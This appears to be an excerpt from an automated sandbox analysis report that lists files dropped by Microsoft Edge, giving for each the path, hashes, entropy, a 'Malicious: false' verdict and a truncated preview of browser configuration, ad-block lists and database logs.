Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376308050354724","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"d81d54b2-74dd-40a1-bfa1-bc6949b496b5"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731834455"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9acb155f-3ba4-4702-ad16-118b046b293e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755371351915
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynpSkzItSmd6qE7lFoC
MD5:	E7B678C336299B140515901E6D369E87
SHA1:	3CD740C2B6CF137D9EF288B5A2B37F3B6BF30DF9
SHA-256:	627F5349C0E6A5BF46A313DA57ED124462864262FC35AE16D057A9C837E32F79
SHA-512:	001309D95227C838E96A37CBDB0EF3E34F1EE3981109C3D70B83459697C24816AE868830181C8F3EB775260BAF1B0DA90FF007073E0ABE92B3B42D3C15D84C1C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\cebf663e-77c7-490b-87f2-7c4e810a2c45.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6739B251-167C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.49571503700502106
Encrypted:	false
SSDEEP:	6144:uHzNtFvnaxKkclJOJzqeqp75PUx616aHvZQSz:ZokcnOJyFZ
MD5:	641F74883C5E836C84CDAAB661156261
SHA1:	C2D3B4CBF9D72E8747BF6AEDDF7CA8E7B20750C0
SHA-256:	A56168C4D9B76FF66285B4CF54A7A9B5EC5F754A46C2C01DEFFEBC43B900C98C
SHA-512:	629D4F80D1ABB6400145BF75D40613ED0665163B90372E325D9F81A38BE80BB671E68CF32400FB209606E6871EF82EBB5E52E09020B47018925304731A9CF97E
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".dgghsu20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0bf6fbcd-15b5-4cd2-b910-2714f916b357.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0c97ee70-3f3c-4645-a6e8-dcb3925f01a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17559), with no line terminators
Category:	dropped
Size (bytes):	17561
Entropy (8bit):	5.483041155789657
Encrypted:	false
SSDEEP:	384:stetPGKSu4lsR1CDqjSYViG+ZaGhbGRQwu3Q:scOxub1CGP+ZagbGCjQ
MD5:	093EF17666077D77803899DD18BF63D2
SHA1:	CC00CA2110BD2668AF4BDFD9F9065470391D4A65
SHA-256:	4AF705ADF3ADB732ED58A712AAF099FFB38CCF70FF9DCFA57C04DD08FC56926F
SHA-512:	EF54748102E9FED5DC8DE9C32501C11B69D249BA51008FBA26DA0BCB0354293DFE006D9028A579717CF725582811A5BE3E6D16750F74D482A60CB274F26D0C3D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376308050298360","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\114ae63d-2fbe-46f6-9662-d147de405038.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1615c7d6-bf9c-4c94-9717-90ad64853a50.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17394), with no line terminators
Category:	dropped
Size (bytes):	17396
Entropy (8bit):	5.486274208572216
Encrypted:	false
SSDEEP:	384:stetPGKSu4lsR1CDqjSYViG+ZaGhbGRQwhQ:scOxub1CGP+ZagbGCEQ
MD5:	FB115A90257339480E0D7AF6FE7A5FE2
SHA1:	93F485D41B9A638812AEB97295E441BA8561B477
SHA-256:	516C8EC66682E587C0CCE98CA0A7E4CF2DCE0C9FB232EA1E9B0FAD11F2C769B9
SHA-512:	2302AA526F356515878279C8BB779F0119A55AD20EB083B800B42D13E228D1D6DC0A340A5342DBBBF12EFCCE28372D16EE1AA18D0E4A782D381726FDDC85E87D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376308050298360","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3481ea55-afde-47f3-94fb-9cec9f416e8d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561493695181361
Encrypted:	false
SSDEEP:	768:zzWn6bWBwl7pLGLpqYW5wzbf4/J8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPST5CI3l:zC6btzcpqYWazbfUJu1jaDT5PhSz1bzo
MD5:	B3E4141BB3E59D2C19A3E6DD360A6DE3
SHA1:	96A450D9EBA241614CBC3C60A9686C72D622C424
SHA-256:	983F122AC8E313A43A4E163648BD1E939BC49D64EB8217082124F648A4836178
SHA-512:	8BEB891F3633FED04AF45BD82EC019407E45EE4179BF7DDBE274664C2DF2B35476B0AA89F3032D9588884106C0877BA5C59F57B99952C5769CCFA9D5027FBF12
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376308049722999","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376308049722999","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.228344040653236
Encrypted:	false
SSDEEP:	6:HURCUTR3B1N723oH+Tcwtp3hBtB2KLlVURCUZ9+q2PN723oH+Tcwtp3hBWsIFUv:kjxBaYebp3dFL8J9+vVaYebp3eFUv
MD5:	C488CF6338197E428A144E21621671AA
SHA1:	944656858E4AECB9B14ED76D8A0645283261FCE2
SHA-256:	FCB141C89E5D3EE07555C5FCA8ACEC6A94F7491AF58DE7DC8E478C83BB5DC91E
SHA-512:	03CF84CD35BB69D2CC04BE59D517D7777F768F22420C50359CB0A66DCC8C10DF2BD9271A0EE5E8F85184DB8709704DF93CD76F0AE49E4B6B59785E12FCBF7CF6
Malicious:	false
Preview:	2024/11/17-04:07:35.141 1c4c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/17-04:07:35.190 1c4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.22288364172376
Encrypted:	false
SSDEEP:	24576:IbPMZpVxfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVxfx2mjF
MD5:	FA9410BA9D5CD589415EA9AD317C0339
SHA1:	412C4C3DCE3A0BAB265A2936F173EE1EA8B29E82
SHA-256:	4219FC76850973FF7B28E92A2016F7984AC41EEE476D035537CAD9AD585B192E
SHA-512:	5A3A5BCDF1199BD995E2AFE6C9CA39FD9611B5BEFA1964A22409A2555091E7D84FC354CBD24866F8ED4CD1FFC4A69364E220EFF6BD92A602BE1385C57D86D61B
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.1534217179384605
Encrypted:	false
SSDEEP:	6:HURWL+q2PN723oH+Tcwt9Eh1tIFUt8YURQFz1Zmw+YURRjLVkwON723oH+Tcwt9O:kLvVaYeb9Eh16FUt8bQFz1/+bRF5OaYf
MD5:	3C37EC12FC7C1B4D7E52A50F3C8BF4A3
SHA1:	0E829353CBCDF74764E0D61281DB99F9790FAEA6
SHA-256:	A586D82F317BEAF915F29DA83F55374AA66502937D004E70B9DD1E9A64E66EC6
SHA-512:	EED79635E9352C44652316AA77D0B614EE610DF27A518ED817D86A10FB27B2EDE918503A7525365AB04A5CA3B3880CBDC7BEABCDABF8D25B93E26290C9293B3D
Malicious:	false
Preview:	2024/11/17-04:07:34.962 2198 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/17-04:07:34.964 2198 Recovering log #3.2024/11/17-04:07:34.970 2198 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.1534217179384605
Encrypted:	false
SSDEEP:	6:HURWL+q2PN723oH+Tcwt9Eh1tIFUt8YURQFz1Zmw+YURRjLVkwON723oH+Tcwt9O:kLvVaYeb9Eh16FUt8bQFz1/+bRF5OaYf
MD5:	3C37EC12FC7C1B4D7E52A50F3C8BF4A3
SHA1:	0E829353CBCDF74764E0D61281DB99F9790FAEA6
SHA-256:	A586D82F317BEAF915F29DA83F55374AA66502937D004E70B9DD1E9A64E66EC6
SHA-512:	EED79635E9352C44652316AA77D0B614EE610DF27A518ED817D86A10FB27B2EDE918503A7525365AB04A5CA3B3880CBDC7BEABCDABF8D25B93E26290C9293B3D
Malicious:	false
